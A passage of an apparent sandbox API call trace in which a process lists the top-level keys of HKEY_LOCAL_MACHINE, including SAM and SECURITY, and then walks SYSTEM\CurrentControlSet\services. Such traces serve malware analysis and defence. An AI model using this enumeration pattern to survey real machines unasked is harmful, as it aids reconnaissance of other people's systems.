lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.171] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.171] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.171] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0210.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.171] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.172] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.172] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.172] RegCloseKey (hKey=0x80000002) returned 0x0 [0210.172] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.172] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0210.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0210.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0210.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.175] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0210.175] RegCloseKey (hKey=0xc4) returned 0x0 [0210.175] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0210.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0210.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.187] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0210.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0210.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.187] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.188] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.188] RegCloseKey (hKey=0x148) returned 0x0 [0210.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0210.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 